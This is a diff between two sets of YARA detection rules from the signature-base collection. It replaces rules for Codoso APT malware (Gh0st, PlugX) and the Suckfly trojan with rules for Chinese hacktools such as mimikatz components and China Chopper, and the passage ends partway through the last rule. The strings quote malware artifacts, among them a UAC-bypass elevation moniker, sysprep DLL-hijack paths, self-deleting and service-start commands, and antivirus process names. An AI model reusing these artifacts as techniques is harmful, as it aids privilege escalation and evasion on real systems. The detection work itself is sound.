-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L130-L151"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bf52ca4d4077ae7e840cf6cd11fdec0bb5be890ddd5687af5cfa581c8c015fcd"
-		logic_hash = "e24d434d8f08b83f8e4b1f4aa75a84a040e4f56cdbd9a58ff49c463437e78c24"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2167-L2186"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "38a9caa2079afa2c8d7327e7762f7ed9a69056f7"
+		logic_hash = "35b84c3445e92d61ca5e638a2eb19128dca2174327c6325436287d8d3f0bb976"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "RunMeByDLL32" fullword ascii
-		$s1 = "svchost.dll" fullword wide
-		$s2 = "server.dll" fullword ascii
-		$s3 = "Copyright ? 2008" fullword wide
-		$s4 = "testsupdate33" fullword ascii
-		$s5 = "Device Protect Application" fullword wide
-		$s6 = "MSVCP60.DLL" fullword ascii
-		$s7 = "mail-news.eicp.net" fullword ascii
+		$s1 = "DBN_POST" fullword wide
+		$s2 = "LOADER ERROR" fullword ascii
+		$s3 = "www.1285.net" fullword wide
+		$s4 = "TUPFILEFORM" fullword wide
+		$s5 = "DBN_DELETE" fullword wide
+		$s6 = "DBINSERT" fullword wide
+		$s7 = "Copyright (C) Kibosoft Corp. 2001-2006" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <195KB and $x1 or 4 of them
+		uint16(0)==0x5a4d and filesize <2350KB and all of them
 }
-rule SIGNATURE_BASE_Codoso_Gh0St_2 : FILE
+rule SIGNATURE_BASE_HKTL_Portscanner_533_NET_Jun15 : FILE
 {
 	meta:
-		description = "Detects Codoso APT Gh0st Malware"
+		description = "Chinese Hacktool Set - file portscanner.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5643d028-2a76-5bce-bf2f-8be706ab1fd5"
-		date = "2016-01-30"
+		id = "c834203d-6d4d-5242-9b1e-b64fa6560ccd"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L152-L170"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
-		logic_hash = "5864e52820578769a31a6925795d13283d7b3bc5f9ac50ac8aea6578a5919e71"
+		old_rule_name = "portscanner"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2188-L2205"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1de367d503fdaaeee30e8ad7c100dd1e320858a4"
+		logic_hash = "446cbc1b8046bfd182e0b1c98fe37c8b8ef98f600f5d80d9de83b45aeaf2b386"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
-		$s1 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
-		$s13 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
-		$s14 = "%s -r debug 1" fullword ascii
-		$s15 = "\\\\.\\keymmdrv1" fullword ascii
-		$s17 = "RunMeByDLL32" fullword ascii
+		$s0 = "PortListfNo" fullword ascii
+		$s1 = ".533.net" fullword ascii
+		$s2 = "CRTDLL.DLL" fullword ascii
+		$s3 = "exitfc" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and 1 of them
+		uint16(0)==0x5a4d and filesize <25KB and all of them
 }
-rule SIGNATURE_BASE_Codoso_Customtcp : FILE
+rule SIGNATURE_BASE_Kappfree : FILE
 {
 	meta:
-		description = "Codoso CustomTCP Malware"
+		description = "Chinese Hacktool Set - file kappfree.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"
-		date = "2016-01-30"
+		id = "eb9c1324-5d82-57ab-bd48-98c984b45b32"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L171-L188"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b95d7f56a686a05398198d317c805924c36f3abacbb1b9e3f590ec0d59f845d8"
-		logic_hash = "4f0333de25b9f84ecaa3e63c5f600f53929244cd63a681d21cb78cfe17ca15f9"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2207-L2222"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e57e79f190f8a24ca911e6c7e008743480c08553"
+		logic_hash = "b1b644f9b033ac8372369e81628ee3f6fe094f80d11b8f4f6c192a5e81d2e543"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "wnyglw" fullword ascii
-		$s5 = "WorkerRun" fullword ascii
-		$s7 = "boazdcd" fullword ascii
-		$s8 = "wayflw" fullword ascii
-		$s9 = "CODETABL" fullword ascii
+		$s1 = "Bienvenue dans un processus distant" fullword wide
+		$s2 = "kappfree.dll" fullword ascii
+		$s3 = "kappfree de mimikatz pour Windows (anti AppLocker)" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <405KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Codoso_PGV_PVID_5 : FILE
+rule SIGNATURE_BASE_Smartniff : FILE
 {
 	meta:
-		description = "Detects Codoso APT PGV PVID Malware"
+		description = "Chinese Hacktool Set - file Smartniff.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0202d82c-c1f8-59f7-96b6-b21f21c1dc69"
-		date = "2016-01-30"
+		id = "3d169126-1b43-5545-a106-7c38a6a49499"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L192-L208"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e248bada3ac46611bbe2cf1e1afee902191a2c1fb9611c4a052318e5e093b015"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2224-L2239"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "67609f21d54a57955d8fe6d48bc471f328748d0a"
+		logic_hash = "bac770ae3c8e7f619da0b0ff4243716ff8212dce0f36c08c127af892548fe0b6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
-		hash2 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
 
 	strings:
-		$s1 = "/c del %s >> NUL" fullword ascii
-		$s2 = "%s%s.manifest" fullword ascii
+		$s1 = "smsniff.exe" fullword wide
+		$s2 = "support@nirsoft.net0" fullword ascii
+		$s3 = "</requestedPrivileges></security></trustInfo></assembly>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Codoso_Gh0St_1 : FILE
+rule SIGNATURE_BASE_Chinachopper_Caidao : FILE
 {
 	meta:
-		description = "Detects Codoso APT Gh0st Malware"
+		description = "Chinese Hacktool Set - file caidao.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "24d9e64c-4b35-5737-92ae-8ec391d494c7"
-		date = "2016-01-30"
+		id = "c56eb3e5-e916-535b-bf87-88a9ae94c359"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L209-L247"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "799ae0946464e5b4980f792e525da9eec46aa7844ec977f892a80f58d8b22afd"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2241-L2259"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "056a60ec1f6a8959bfc43254d97527b003ae5edb"
+		logic_hash = "7e16a452c98e36a4946bcede5552bef7f6fc82314b28b506307cf010a0890ea6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
-		hash2 = "7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8"
-		hash3 = "d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297"
 
 	strings:
-		$x1 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
-		$x2 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
-		$x3 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
-		$x4 = "\\\\.\\keymmdrv1" fullword ascii
-		$s1 = "spideragent.exe" fullword ascii
-		$s2 = "AVGIDSAgent.exe" fullword ascii
-		$s3 = "kavsvc.exe" fullword ascii
-		$s4 = "mspaint.exe" fullword ascii
-		$s5 = "kav.exe" fullword ascii
-		$s6 = "avp.exe" fullword ascii
-		$s7 = "NAV.exe" fullword ascii
-		$c1 = "Elevation:Administrator!new:" wide
-		$c2 = "Global\\RUNDLL32EXITEVENT_NAME{12845-8654-543}" fullword ascii
-		$c3 = "\\sysprep\\sysprep.exe" wide
-		$c4 = "\\sysprep\\CRYPTBASE.dll" wide
-		$c5 = "Global\\TERMINATEEVENT_NAME{12845-8654-542}" fullword ascii
-		$c6 = "ConsentPromptBehaviorAdmin" fullword ascii
-		$c7 = "\\sysprep" wide
-		$c8 = "Global\\UN{5FFC0C8B-8BE5-49d5-B9F2-BCDC8976EE10}" fullword ascii
+		$s1 = "Pass,Config,n{)" fullword ascii
+		$s2 = "phMYSQLZ" fullword ascii
+		$s3 = "\\DHLP\\." ascii
+		$s4 = "\\dhlp\\." ascii
+		$s5 = "SHAutoComple" fullword ascii
+		$s6 = "MainFrame" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (4 of ($s*) or 4 of ($c*)) or 1 of ($x*) or 6 of ($c*)
+		uint16(0)==0x5a4d and filesize <1077KB and all of them
 }
-rule SIGNATURE_BASE_Codoso_PGV_PVID_4 : FILE
+rule SIGNATURE_BASE_Kiwitaskmgr_2 : FILE
 {
 	meta:
-		description = "Detects Codoso APT PlugX Malware"
+		description = "Chinese Hacktool Set - file KiwiTaskmgr.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c1c753a6-77b6-5bfb-89f9-16127c264fd0"
-		date = "2016-01-30"
+		id = "ea021257-8ced-5131-a00a-be014b4112fb"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L248-L275"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f24100c0fe837511ce6144224eda397fed3931072e364f1b5be49c7bb4102aa4"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2261-L2276"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
+		logic_hash = "6d197e9b7bb9bbd759d6c8c882f7d7412512ba10208cb52a08fcde5e32fd1733"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
-		hash2 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
-		hash3 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
-		hash4 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
-		hash5 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
 
 	strings:
-		$x1 = "dropper, Version 1.0" fullword wide
-		$x2 = "dropper" fullword wide
-		$x3 = "DROPPER" fullword wide
-		$x4 = "About dropper" fullword wide
-		$s1 = "Microsoft Windows Manager Utility" fullword wide
-		$s2 = "SYSTEM\\CurrentControlSet\\Services\\" ascii
-		$s3 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify" fullword ascii
-		$s4 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3" ascii
-		$s5 = "<supportedOS Id=\"{e2011457-1546-43c5-a5fe-008deee3d3f0}\"></supportedOS>" fullword ascii
+		$s1 = "Process Ok, Memory Ok, resuming process :)" fullword wide
+		$s2 = "Kiwi Taskmgr no-gpo" fullword wide
+		$s3 = "KiwiAndTaskMgr" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and 2 of ($x*) and 2 of ($s*)
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Codoso_Plugx_1 : FILE
+rule SIGNATURE_BASE_Kappfree_2 : FILE
 {
 	meta:
-		description = "Detects Codoso APT PlugX Malware"
+		description = "Chinese Hacktool Set - file kappfree.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "af777818-5cff-5571-b5e9-0f5a4c8b08ff"
-		date = "2016-01-30"
+		id = "6c7b4a99-b5ab-5fd6-b130-7c30b84b7171"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L276-L294"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "34736c85699a94b1413e5f9934e1a55841e8296df61d558bccf2d477e545d156"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2278-L2294"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5d578df9a71670aa832d1cd63379e6162564fb6b"
+		logic_hash = "1862f1283e8a268f523b3922b3630ebbca9a81cc5aed19e5068315e6346d25c2"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "0b8cbc9b4761ab35acce2aa12ba2c0a283afd596b565705514fd802c8b1e144b"
-		hash2 = "448711bd3f689ceebb736d25253233ac244d48cb766834b8f974c2e9d4b462e8"
-		hash3 = "fd22547497ce52049083092429eeff0599d0b11fe61186e91c91e1f76b518fe2"
 
 	strings:
-		$s1 = "GETPASSWORD1" fullword ascii
-		$s2 = "NvSmartMax.dll" fullword ascii
-		$s3 = "LICENSEDLG" fullword ascii
+		$s1 = "kappfree.dll" fullword ascii
+		$s2 = "kappfree de mimikatz pour Windows (anti AppLocker)" fullword wide
+		$s3 = "' introuvable !" fullword wide
+		$s4 = "kiwi\\mimikatz" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and 2 of them
 }
-rule SIGNATURE_BASE_Codoso_PGV_PVID_3
+rule SIGNATURE_BASE_X_Way2_5_Sqlcmd : FILE
 {
 	meta:
-		description = "Detects Codoso APT PGV PVID Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "08003dba-1201-5f74-9edd-ea321bb26e99"
-		date = "2016-01-30"
+		description = "Chinese Hacktool Set - file sqlcmd.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c6b4dae2-38cb-5cf9-b980-df5ebefbe7ad"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L295-L314"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "371a91b08747b8025baba79797baf9f29487f9c3541f27fc2c2716b531d30b54"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2296-L2324"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5152a57e3638418b0d97a42db1c0fc2f893a2794"
+		logic_hash = "59fd25a786d56885e456fca154800a8313cd04a23fd9374361cc37b86be109a1"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "126fbdcfed1dfb31865d4b18db2fb963f49df838bf66922fea0c37e06666aee1"
-		hash2 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
-		hash3 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
-		hash4 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
-		hash5 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
-		hash6 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
 
 	strings:
-		$x1 = "Copyright (C) Microsoft Corporation.  All rights reserved.(C) 2012" fullword wide
+		$s1 = "LOADER ERROR" fullword ascii
+		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s3 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
+		$s4 = "kernel32.dll" fullword ascii
+		$s5 = "VirtualAlloc" fullword ascii
+		$s6 = "VirtualFree" fullword ascii
+		$s7 = "VirtualProtect" fullword ascii
+		$s8 = "ExitProcess" fullword ascii
+		$s9 = "user32.dll" fullword ascii
+		$s16 = "MessageBoxA" fullword ascii
+		$s10 = "wsprintfA" fullword ascii
+		$s11 = "kernel32.dll" fullword ascii
+		$s12 = "GetProcAddress" fullword ascii
+		$s13 = "GetModuleHandleA" fullword ascii
+		$s14 = "LoadLibraryA" fullword ascii
+		$s15 = "odbc32.dll" fullword ascii
 
 	condition:
-		$x1
+		uint16(0)==0x5a4d and filesize <23KB and filesize >20KB and all of them
 }
-rule SIGNATURE_BASE_Codoso_PGV_PVID_2 : FILE
+rule SIGNATURE_BASE_Win32_Klock : FILE
 {
 	meta:
-		description = "Detects Codoso APT PGV PVID Malware"
+		description = "Chinese Hacktool Set - file klock.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e4c00806-3092-5ec2-844f-b638c31fa6a5"
-		date = "2016-01-30"
+		id = "dd17a8e2-54af-5967-937a-d83feceab891"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L315-L337"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7eab3d398b5172127383047de7106a9713ec5b149f8e8ca1506b3382b007f648"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2326-L2341"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7addce4434670927c4efaa560524680ba2871d17"
+		logic_hash = "e9f1d38de15ce06d55cf276e0f2becd9f9dbf5bd22f9061de03761d7ccdd3e60"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
-		hash2 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
-		hash3 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
 
 	strings:
-		$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
-		$s1 = "regsvr32.exe /s \"%s\"" fullword ascii
-		$s2 = "Help and Support" fullword ascii
-		$s3 = "netsvcs" fullword ascii
-		$s9 = "%SystemRoot%\\System32\\svchost.exe -k netsvcs" fullword ascii
-		$s10 = "winlogon" fullword ascii
-		$s11 = "System\\CurrentControlSet\\Services" fullword ascii
+		$s1 = "klock.dll" fullword ascii
+		$s2 = "Erreur : impossible de basculer le bureau ; SwitchDesktop : " fullword wide
+		$s3 = "klock de mimikatz pour Windows" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <907KB and all of them
+		uint16(0)==0x5a4d and filesize <250KB and all of them
 }
-rule SIGNATURE_BASE_Codoso_PGV_PVID_1 : FILE
+rule SIGNATURE_BASE_Ipsearcher : FILE
 {
 	meta:
-		description = "Detects Codoso APT PGV PVID Malware"
+		description = "Chinese Hacktool Set - file ipsearcher.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9487773a-01d9-558e-8866-b8a8650996ba"
-		date = "2016-01-30"
-		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_codoso.yar#L339-L367"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8cecf96c7732becf83eb900bc36fa44daee466da6b483ea4f8c25ae9aeffcb7b"
+		id = "bb33535a-e8cc-545d-bee8-3c31902eedb9"
+		date = "2015-06-13"
+		modified = "2022-12-21"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2343-L2360"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1e96e9c5c56fcbea94d26ce0b3f1548b224a4791"
+		logic_hash = "e63349ede826bc7b0e9c94d122e5b294c11a598fcf7096b80be726146e796a80"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		super_rule = 1
-		hash1 = "41a936b0d1fd90dffb2f6d0bcaf4ad0536f93ca7591f7b75b0cd1af8804d0824"
-		hash2 = "58334eb7fed37e3104d8235d918aa5b7856f33ea52a74cf90a5ef5542a404ac3"
-		hash3 = "934b87ddceabb2063b5e5bc4f964628fe0c63b63bb2346b105ece19915384fc7"
-		hash4 = "ce91ea20aa2e6af79508dd0a40ab0981f463b4d2714de55e66d228c579578266"
-		hash5 = "e770a298ae819bba1c70d0c9a2e02e4680d3cdba22d558d21caaa74e3970adf1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "DRIVERS\\ipinip.sys" fullword wide
-		$s1 = "TsWorkSpaces.dll" fullword ascii
-		$s2 = "%SystemRoot%\\System32\\wiaservc.dll" fullword wide
-		$s3 = "/selfservice/microsites/search.php?%016I64d" fullword ascii
-		$s4 = "/solutions/company-size/smb/index.htm?%016I64d" fullword ascii
-		$s5 = "Microsoft Chart ActiveX Control" fullword wide
-		$s6 = "MSChartCtrl.ocx" fullword wide
-		$s7 = "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}" fullword ascii
-		$s8 = "WUServiceMain" fullword ascii
-		$s9 = "Cookie: pgv_pvid=" ascii
+		$s0 = "http://www.wzpg.com" fullword ascii
+		$s1 = "ipsearcher\\ipsearcher\\Release\\ipsearcher.pdb" ascii
+		$s3 = "_GetAddress" fullword ascii
+		$s5 = "ipsearcher.dll" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and (1 of ($x*) or 3 of them )) or 5 of them
+		uint16(0)==0x5a4d and filesize <140KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Suckfly_Nidiran_Gen_1 : FILE
+rule SIGNATURE_BASE_Ms10048_X64 : FILE
 {
 	meta:
-		description = "Detects Suckfly Nidiran Trojan"
+		description = "Chinese Hacktool Set - file ms10048-x64.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1abc596a-5fb1-55f9-b72d-022bfc6d10c7"
-		date = "2018-01-28"
+		id = "8c9bcf72-1bc7-57ed-9e0b-09d113a8c704"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_suckfly.yar#L14-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bf617259df00b16272caffa8f1ffcf8d29cb98cb6ab85ca52e0bb0706f0cd5b0"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2362-L2378"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "418bec3493c85e3490e400ecaff5a7760c17a0d0"
+		logic_hash = "f6e353a9e4f751632ca5fda1663f0ba66b16b60df90570ccdaf836eaaa6a78ca"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ac7d7c676f58ebfa5def9b84553f00f283c61e4a310459178ea9e7164004e734"
 
 	strings:
-		$s1 = "WriteProcessMemory fail at %d " fullword ascii
-		$s2 = "CreateRemoteThread fail at %d " fullword ascii
-		$s3 = "CreateRemoteThread Succ" fullword ascii
+		$s1 = "The target is most likely patched." fullword ascii
